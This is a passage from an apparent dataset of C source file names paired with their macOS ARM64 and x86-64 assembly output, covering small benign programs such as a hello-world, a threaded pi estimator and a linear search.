je LBB3_3
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movq -8(%rbp), %rax
movq %rax, %rcx
addq $1, %rcx
movq %rcx, -8(%rbp)
movsbl (%rax), %edi
callq _ft_putchar
jmp LBB3_1
LBB3_3:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/9951.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/248581427.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __DATA,__data
.globl _sysfs_root ; @sysfs_root
.p2align 1
_sysfs_root:
.short 16877 ; 0x41ed
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __DATA,__data
.globl _sysfs_root ## @sysfs_root
.p2align 1
_sysfs_root:
.short 16877 ## 0x41ed
.subsections_via_symbols
| the_stack_data/153268150.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _puts
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Hello world!"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str(%rip), %rdi
callq _puts
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Hello world!"
.subsections_via_symbols
| the_stack_data/915106.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _thread_count@GOTPAGE
ldr x8, [x8, _thread_count@GOTPAGEOFF]
str x8, [sp, #32] ; 8-byte Folded Spill
adrp x8, _sum@GOTPAGE
ldr x8, [x8, _sum@GOTPAGEOFF]
str x8, [sp, #40] ; 8-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
ldur w0, [x29, #-8]
ldur x1, [x29, #-16]
bl _Get_args
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
lsl x0, x8, #3
bl _malloc
ldr x8, [sp, #40] ; 8-byte Folded Reload
stur x0, [x29, #-32]
movi d0, #0000000000000000
str d0, [x8]
stur xzr, [x29, #-24]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldur x8, [x29, #-24]
ldr x9, [x9]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-32]
ldur x9, [x29, #-24]
add x0, x8, x9, lsl #3
ldur x3, [x29, #-24]
mov x1, #0
adrp x2, _Thread_sum@PAGE
add x2, x2, _Thread_sum@PAGEOFF
bl _pthread_create
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-24]
add x8, x8, #1
stur x8, [x29, #-24]
b LBB0_1
LBB0_4:
stur xzr, [x29, #-24]
b LBB0_5
LBB0_5: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldur x8, [x29, #-24]
ldr x9, [x9]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=1
ldur x8, [x29, #-32]
ldur x9, [x29, #-24]
ldr x0, [x8, x9, lsl #3]
mov x1, #0
bl _pthread_join
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_5 Depth=1
ldur x8, [x29, #-24]
add x8, x8, #1
stur x8, [x29, #-24]
b LBB0_5
LBB0_8:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr d1, [x8]
fmov d0, #4.00000000
str d0, [sp, #24] ; 8-byte Folded Spill
fmul d0, d0, d1
str d0, [x8]
adrp x8, _n@GOTPAGE
ldr x8, [x8, _n@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
ldr x8, [x8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr d0, [x8]
mov x8, sp
str d0, [x8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x0, [x8]
bl _Serial_pi
ldr x8, [sp, #40] ; 8-byte Folded Reload
str d0, [x8]
ldr d0, [x8]
mov x8, sp
str d0, [x8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
fmov d0, #1.00000000
bl _atan
fmov d1, d0
ldr d0, [sp, #24] ; 8-byte Folded Reload
fmul d0, d0, d1
mov x8, sp
str d0, [x8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldur x0, [x29, #-32]
bl _free
mov w0, #0
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _Get_args ; -- Begin function Get_args
.p2align 2
_Get_args: ; @Get_args
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _thread_count@GOTPAGE
ldr x8, [x8, _thread_count@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
stur w0, [x29, #-4]
str x1, [sp, #16]
ldur w8, [x29, #-4]
subs w8, w8, #3
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldr x8, [sp, #16]
ldr x0, [x8]
bl _Usage
b LBB1_2
LBB1_2:
ldr x8, [sp, #16]
ldr x0, [x8, #8]
mov x1, #0
mov w2, #10
bl _strtol
ldr x8, [sp, #8] ; 8-byte Folded Reload
str x0, [x8]
ldr x8, [x8]
subs x8, x8, #0
cset w8, le
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
subs x8, x8, #1024
cset w8, le
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4:
ldr x8, [sp, #16]
ldr x0, [x8]
bl _Usage
b LBB1_5
LBB1_5:
ldr x8, [sp, #16]
ldr x0, [x8, #16]
mov x1, #0
mov w2, #10
bl _strtoll
adrp x8, _n@GOTPAGE
ldr x8, [x8, _n@GOTPAGEOFF]
str x0, [x8]
ldr x8, [x8]
subs x8, x8, #0
cset w8, gt
tbnz w8, #0, LBB1_7
b LBB1_6
LBB1_6:
ldr x8, [sp, #16]
ldr x0, [x8]
bl _Usage
b LBB1_7
LBB1_7:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _Thread_sum ; -- Begin function Thread_sum
.p2align 2
_Thread_sum: ; @Thread_sum
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
str x0, [sp, #56]
ldr x8, [sp, #56]
str x8, [sp, #48]
adrp x8, _n@GOTPAGE
ldr x8, [x8, _n@GOTPAGEOFF]
ldr x8, [x8]
adrp x9, _thread_count@GOTPAGE
ldr x9, [x9, _thread_count@GOTPAGEOFF]
ldr x9, [x9]
sdiv x8, x8, x9
str x8, [sp, #24]
ldr x8, [sp, #24]
ldr x9, [sp, #48]
mul x8, x8, x9
str x8, [sp, #16]
ldr x8, [sp, #16]
ldr x9, [sp, #24]
add x8, x8, x9
str x8, [sp, #8]
ldr x8, [sp, #16]
mov x10, #2
sdiv x9, x8, x10
mul x9, x9, x10
subs x8, x8, x9
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
fmov d0, #1.00000000
str d0, [sp, #40]
b LBB2_3
LBB2_2:
fmov d0, #-1.00000000
str d0, [sp, #40]
b LBB2_3
LBB2_3:
ldr x8, [sp, #16]
str x8, [sp, #32]
b LBB2_4
LBB2_4: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #32]
ldr x9, [sp, #8]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB2_7
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_4 Depth=1
ldr d0, [sp, #40]
ldr x9, [sp, #32]
mov x8, #2
mul x8, x8, x9
add x8, x8, #1
scvtf d1, x8
fdiv d1, d0, d1
adrp x8, _sum@GOTPAGE
ldr x8, [x8, _sum@GOTPAGEOFF]
ldr d0, [x8]
fadd d0, d0, d1
str d0, [x8]
b LBB2_6
LBB2_6: ; in Loop: Header=BB2_4 Depth=1
ldr x8, [sp, #32]
add x8, x8, #1
str x8, [sp, #32]
ldr d0, [sp, #40]
fneg d0, d0
str d0, [sp, #40]
b LBB2_4
LBB2_7:
mov x0, #0
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _Serial_pi ; -- Begin function Serial_pi
.p2align 2
_Serial_pi: ; @Serial_pi
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
movi d0, #0000000000000000
str d0, [sp, #16]
fmov d0, #1.00000000
str d0, [sp]
str xzr, [sp, #8]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x9, [sp, #24]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB3_4
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldr d0, [sp]
ldr x9, [sp, #8]
mov x8, #2
mul x8, x8, x9
add x8, x8, #1
scvtf d1, x8
fdiv d1, d0, d1
ldr d0, [sp, #16]
fadd d0, d0, d1
str d0, [sp, #16]
b LBB3_3
LBB3_3: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #8]
add x8, x8, #1
str x8, [sp, #8]
ldr d0, [sp]
fneg d0, d0
str d0, [sp]
b LBB3_1
LBB3_4:
ldr d1, [sp, #16]
fmov d0, #4.00000000
fmul d0, d0, d1
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _Usage ; -- Begin function Usage
.p2align 2
_Usage: ; @Usage
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
stur x0, [x29, #-8]
ldr x0, [x8]
ldur x8, [x29, #-8]
mov x9, sp
str x8, [x9]
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl _fprintf
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl _fprintf
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
bl _fprintf
mov w0, #0
bl _exit
.cfi_endproc
; -- End function
.section __TEXT,__const
.globl _MAX_THREADS ; @MAX_THREADS
.p2align 2
_MAX_THREADS:
.long 1024 ; 0x400
.comm _thread_count,8,3 ; @thread_count
.comm _sum,8,3 ; @sum
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "With n = %lld terms,\n"
.comm _n,8,3 ; @n
l_.str.1: ; @.str.1
.asciz " Our estimate of pi = %.15f\n"
l_.str.2: ; @.str.2
.asciz " Single thread est = %.15f\n"
l_.str.3: ; @.str.3
.asciz " pi = %.15f\n"
l_.str.4: ; @.str.4
.asciz "usage: %s <number of threads> <n>\n"
l_.str.5: ; @.str.5
.asciz " n is the number of terms and should be >= 1\n"
l_.str.6: ; @.str.6
.asciz " n should be evenly divisible by the number of threads\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI0_0:
.quad 0x4010000000000000 ## double 4
LCPI0_1:
.quad 0x3ff0000000000000 ## double 1
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movl -8(%rbp), %edi
movq -16(%rbp), %rsi
callq _Get_args
movq _thread_count@GOTPCREL(%rip), %rax
movq (%rax), %rdi
shlq $3, %rdi
callq _malloc
movq %rax, -32(%rbp)
movq _sum@GOTPCREL(%rip), %rax
xorps %xmm0, %xmm0
movsd %xmm0, (%rax)
movq $0, -24(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
movq _thread_count@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jge LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -32(%rbp), %rdi
movq -24(%rbp), %rax
shlq $3, %rax
addq %rax, %rdi
movq -24(%rbp), %rcx
xorl %eax, %eax
movl %eax, %esi
leaq _Thread_sum(%rip), %rdx
callq _pthread_create
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movq -24(%rbp), %rax
addq $1, %rax
movq %rax, -24(%rbp)
jmp LBB0_1
LBB0_4:
movq $0, -24(%rbp)
LBB0_5: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
movq _thread_count@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jge LBB0_8
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
movq -32(%rbp), %rax
movq -24(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _pthread_join
## %bb.7: ## in Loop: Header=BB0_5 Depth=1
movq -24(%rbp), %rax
addq $1, %rax
movq %rax, -24(%rbp)
jmp LBB0_5
LBB0_8:
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movq _sum@GOTPCREL(%rip), %rax
mulsd (%rax), %xmm0
movq _sum@GOTPCREL(%rip), %rax
movsd %xmm0, (%rax)
movq _n@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq _sum@GOTPCREL(%rip), %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
leaq L_.str.1(%rip), %rdi
movb $1, %al
callq _printf
movq _n@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _Serial_pi
movq _sum@GOTPCREL(%rip), %rax
movsd %xmm0, (%rax)
movq _sum@GOTPCREL(%rip), %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
leaq L_.str.2(%rip), %rdi
movb $1, %al
callq _printf
movsd LCPI0_1(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _atan
movaps %xmm0, %xmm1
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd %xmm1, %xmm0
leaq L_.str.3(%rip), %rdi
movb $1, %al
callq _printf
movq -32(%rbp), %rdi
callq _free
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _Get_args ## -- Begin function Get_args
.p2align 4, 0x90
_Get_args: ## @Get_args
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
cmpl $3, -4(%rbp)
je LBB1_2
## %bb.1:
movq -16(%rbp), %rax
movq (%rax), %rdi
callq _Usage
LBB1_2:
movq -16(%rbp), %rax
movq 8(%rax), %rdi
xorl %eax, %eax
movl %eax, %esi
movl $10, %edx
callq _strtol
movq %rax, %rcx
movq _thread_count@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq _thread_count@GOTPCREL(%rip), %rax
cmpq $0, (%rax)
jle LBB1_4
## %bb.3:
movq _thread_count@GOTPCREL(%rip), %rax
cmpq $1024, (%rax) ## imm = 0x400
jle LBB1_5
LBB1_4:
movq -16(%rbp), %rax
movq (%rax), %rdi
callq _Usage
LBB1_5:
movq -16(%rbp), %rax
movq 16(%rax), %rdi
xorl %eax, %eax
movl %eax, %esi
movl $10, %edx
callq _strtoll
movq %rax, %rcx
movq _n@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq _n@GOTPCREL(%rip), %rax
cmpq $0, (%rax)
jg LBB1_7
## %bb.6:
movq -16(%rbp), %rax
movq (%rax), %rdi
callq _Usage
LBB1_7:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function Thread_sum
LCPI2_0:
.quad 0xbff0000000000000 ## double -1
LCPI2_1:
.quad 0x3ff0000000000000 ## double 1
.section __TEXT,__text,regular,pure_instructions
.globl _Thread_sum
.p2align 4, 0x90
_Thread_sum: ## @Thread_sum
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq %rax, -16(%rbp)
movq _n@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq _thread_count@GOTPCREL(%rip), %rcx
cqto
idivq (%rcx)
movq %rax, -40(%rbp)
movq -40(%rbp), %rax
imulq -16(%rbp), %rax
movq %rax, -48(%rbp)
movq -48(%rbp), %rax
addq -40(%rbp), %rax
movq %rax, -56(%rbp)
movq -48(%rbp), %rax
movl $2, %ecx
cqto
idivq %rcx
cmpq $0, %rdx
jne LBB2_2
## %bb.1:
movsd LCPI2_1(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -24(%rbp)
jmp LBB2_3
LBB2_2:
movsd LCPI2_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -24(%rbp)
LBB2_3:
movq -48(%rbp), %rax
movq %rax, -32(%rbp)
LBB2_4: ## =>This Inner Loop Header: Depth=1
movq -32(%rbp), %rax
cmpq -56(%rbp), %rax
jge LBB2_7
## %bb.5: ## in Loop: Header=BB2_4 Depth=1
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -32(%rbp), %rax
shlq $1, %rax
addq $1, %rax
cvtsi2sd %rax, %xmm1
divsd %xmm1, %xmm0
movq _sum@GOTPCREL(%rip), %rax
addsd (%rax), %xmm0
movq _sum@GOTPCREL(%rip), %rax
movsd %xmm0, (%rax)
## %bb.6: ## in Loop: Header=BB2_4 Depth=1
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -24(%rbp)
jmp LBB2_4
LBB2_7:
xorl %eax, %eax
## kill: def $rax killed $eax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function Serial_pi
LCPI3_0:
.quad 0x3ff0000000000000 ## double 1
LCPI3_1:
.quad 0x4010000000000000 ## double 4
.section __TEXT,__text,regular,pure_instructions
.globl _Serial_pi
.p2align 4, 0x90
_Serial_pi: ## @Serial_pi
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -16(%rbp)
movsd LCPI3_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -32(%rbp)
movq $0, -24(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
cmpq -8(%rbp), %rax
jge LBB3_4
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movsd -32(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -24(%rbp), %rax
shlq $1, %rax
addq $1, %rax
cvtsi2sd %rax, %xmm1
divsd %xmm1, %xmm0
addsd -16(%rbp), %xmm0
movsd %xmm0, -16(%rbp)
## %bb.3: ## in Loop: Header=BB3_1 Depth=1
movq -24(%rbp), %rax
addq $1, %rax
movq %rax, -24(%rbp)
movsd -32(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -32(%rbp)
jmp LBB3_1
LBB3_4:
movsd LCPI3_1(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd -16(%rbp), %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _Usage ## -- Begin function Usage
.p2align 4, 0x90
_Usage: ## @Usage
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq ___stderrp@GOTPCREL(%rip), %rax
movq %rax, -24(%rbp) ## 8-byte Spill
movq (%rax), %rdi
movq -8(%rbp), %rdx
leaq L_.str.4(%rip), %rsi
xorl %eax, %eax
movl %eax, -12(%rbp) ## 4-byte Spill
movb %al, -13(%rbp) ## 1-byte Spill
callq _fprintf
movq -24(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -13(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.5(%rip), %rsi
callq _fprintf
movq -24(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -13(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.6(%rip), %rsi
callq _fprintf
movl -12(%rbp), %edi ## 4-byte Reload
callq _exit
.cfi_endproc
## -- End function
.section __TEXT,__const
.globl _MAX_THREADS ## @MAX_THREADS
.p2align 2
_MAX_THREADS:
.long 1024 ## 0x400
.comm _thread_count,8,3 ## @thread_count
.comm _sum,8,3 ## @sum
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "With n = %lld terms,\n"
.comm _n,8,3 ## @n
L_.str.1: ## @.str.1
.asciz " Our estimate of pi = %.15f\n"
L_.str.2: ## @.str.2
.asciz " Single thread est = %.15f\n"
L_.str.3: ## @.str.3
.asciz " pi = %.15f\n"
L_.str.4: ## @.str.4
.asciz "usage: %s <number of threads> <n>\n"
L_.str.5: ## @.str.5
.asciz " n is the number of terms and should be >= 1\n"
L_.str.6: ## @.str.6
.asciz " n should be evenly divisible by the number of threads\n"
.subsections_via_symbols
| the_stack_data/175143859.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/26358.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _search ; -- Begin function search
.p2align 2
_search: ; @search
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #16]
str w1, [sp, #12]
str w2, [sp, #8]
str wzr, [sp, #4]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_5
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #4]
ldr w8, [x8, x9, lsl #2]
ldr w9, [sp, #8]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldr w8, [sp, #4]
str w8, [sp, #28]
b LBB0_6
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB0_1
LBB0_5:
str wzr, [sp, #28]
b LBB0_6
LBB0_6:
ldr w0, [sp, #28]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
sub sp, sp, #880
mov x19, sp
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [x19, #68]
str wzr, [x19, #64]
mov w8, #100
str w8, [x19, #60]
str wzr, [x19, #64]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [x19, #64]
ldr w9, [x19, #60]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldrsw x9, [x19, #64]
add x8, x19, #472
add x8, x8, x9, lsl #2
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
str x0, [x19, #24] ; 8-byte Folded Spill
bl _scanf
ldr x0, [x19, #24] ; 8-byte Folded Reload
add sp, sp, #16
ldrsw x9, [x19, #64]
add x8, x19, #72
add x8, x8, x9, lsl #2
sub sp, sp, #16
mov x9, sp
str x8, [x9]
bl _scanf
add sp, sp, #16
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [x19, #64]
add w8, w8, #1
str w8, [x19, #64]
b LBB1_1
LBB1_4:
sub sp, sp, #16
mov x9, sp
add x8, x19, #56
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
add sp, sp, #16
ldr w8, [x19, #56]
; kill: def $x8 killed $w8
mov x9, sp
str x9, [x19, #48]
lsl x9, x8, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
str x9, [x19, #8] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldr x10, [x19, #8] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
str x9, [x19, #16] ; 8-byte Folded Spill
str x8, [x19, #40]
str wzr, [x19, #64]
b LBB1_5
LBB1_5: ; =>This Inner Loop Header: Depth=1
ldr w8, [x19, #64]
ldr w9, [x19, #56]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_8
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_5 Depth=1
ldr x8, [x19, #16] ; 8-byte Folded Reload
ldrsw x9, [x19, #64]
add x8, x8, x9, lsl #2
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
add sp, sp, #16
b LBB1_7
LBB1_7: ; in Loop: Header=BB1_5 Depth=1
ldr w8, [x19, #64]
add w8, w8, #1
str w8, [x19, #64]
b LBB1_5
LBB1_8:
str wzr, [x19, #64]
b LBB1_9
LBB1_9: ; =>This Inner Loop Header: Depth=1
ldr w8, [x19, #64]
ldr w9, [x19, #56]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_12
b LBB1_10
LBB1_10: ; in Loop: Header=BB1_9 Depth=1
ldr x8, [x19, #16] ; 8-byte Folded Reload
ldr w1, [x19, #60]
ldrsw x9, [x19, #64]
ldr w2, [x8, x9, lsl #2]
add x0, x19, #72
bl _search
str w0, [x19, #36]
ldrsw x9, [x19, #36]
add x8, x19, #472
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
add sp, sp, #16
b LBB1_11
